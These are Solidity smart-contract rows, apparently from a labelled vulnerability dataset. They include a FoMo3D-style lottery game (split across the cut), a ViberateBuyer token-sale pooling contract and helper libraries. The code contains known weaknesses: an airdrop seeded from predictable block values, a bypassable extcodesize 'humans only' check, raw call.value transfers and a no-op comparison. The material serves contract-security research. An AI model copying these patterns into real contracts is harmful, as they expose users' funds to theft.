plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,770 |
pragma solidity ^0.4.13;
contract ERC20 {
function transfer(address _to, uint256 _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint256 balance);
}
contract ViberateBuyer {
mapping (address => uint256) public balances;
uint256 public buy_bounty;
uint256 public withdraw_bounty;
bool public bought_tokens;
uint256 public contract_eth_value;
bool public kill_switch;
bytes32 password_hash = 0xfac0a99293c75e2f2ed76d4eb06030f4f3458f419a67ca0feac3dbe9791275b4;
uint256 public earliest_buy_time = 1504612800;
uint256 public eth_cap = 10000 ether;
address public developer = 0x0639C169D9265Ca4B4DEce693764CdA8ea5F3882;
address public sale;
ERC20 public token;
function set_addresses(address _sale, address _token) {
require(msg.sender == developer);
require(sale == 0x0);
sale = _sale;
token = ERC20(_token);
}
function activate_kill_switch(string password) {
require(msg.sender == developer || sha3(password) == password_hash);
uint256 claimed_bounty = buy_bounty;
buy_bounty = 0;
kill_switch = true;
msg.sender.transfer(claimed_bounty);
}
function personal_withdraw(){
if (balances[msg.sender] == 0) return;
if (!bought_tokens) {
uint256 eth_to_withdraw = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(eth_to_withdraw);
}
else {
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[msg.sender];
balances[msg.sender] = 0;
uint256 fee = tokens_to_withdraw / 100;
require(token.transfer(developer, fee));
require(token.transfer(msg.sender, tokens_to_withdraw - fee));
}
}
function withdraw(address user){
require(bought_tokens || now > earliest_buy_time + 1 hours || kill_switch);
if (balances[user] == 0) return;
if (!bought_tokens) {
uint256 eth_to_withdraw = balances[user];
balances[user] = 0;
user.transfer(eth_to_withdraw);
}
else {
uint256 contract_token_balance = token.balanceOf(address(this));
require(contract_token_balance != 0);
uint256 tokens_to_withdraw = (balances[user] * contract_token_balance) / contract_eth_value;
contract_eth_value -= balances[user];
balances[user] = 0;
uint256 fee = tokens_to_withdraw / 100;
require(token.transfer(developer, fee));
require(token.transfer(user, tokens_to_withdraw - fee));
}
uint256 claimed_bounty = withdraw_bounty / 100;
withdraw_bounty -= claimed_bounty;
msg.sender.transfer(claimed_bounty);
}
function add_to_buy_bounty() payable {
require(msg.sender == developer);
buy_bounty += msg.value;
}
function add_to_withdraw_bounty() payable {
require(msg.sender == developer);
withdraw_bounty += msg.value;
}
function claim_bounty(){
if (bought_tokens) return;
if (now < earliest_buy_time) return;
if (kill_switch) return;
require(sale != 0x0);
bought_tokens = true;
uint256 claimed_bounty = buy_bounty;
buy_bounty = 0;
contract_eth_value = this.balance - (claimed_bounty + withdraw_bounty);
require(sale.call.value(contract_eth_value)());
msg.sender.transfer(claimed_bounty);
}
function () payable {
require(!kill_switch);
require(!bought_tokens);
require(this.balance < eth_cap);
balances[msg.sender] += msg.value;
}
} | 0 | 1,138 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3DQuick is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x9576A5C917CAf5cc79D8124292D35AB131f514EF);
address private admin = msg.sender;
string constant public name = "FoMo3DQuick";
string constant public symbol = "Quick";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 1 minutes;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(60,0);
fees_[1] = F3Ddatasets.TeamFee(60,0);
fees_[2] = F3Ddatasets.TeamFee(60,0);
fees_[3] = F3Ddatasets.TeamFee(60,0);
potSplit_[0] = F3Ddatasets.PotSplit(25,0);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(25,0);
potSplit_[3] = F3Ddatasets.PotSplit(25,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
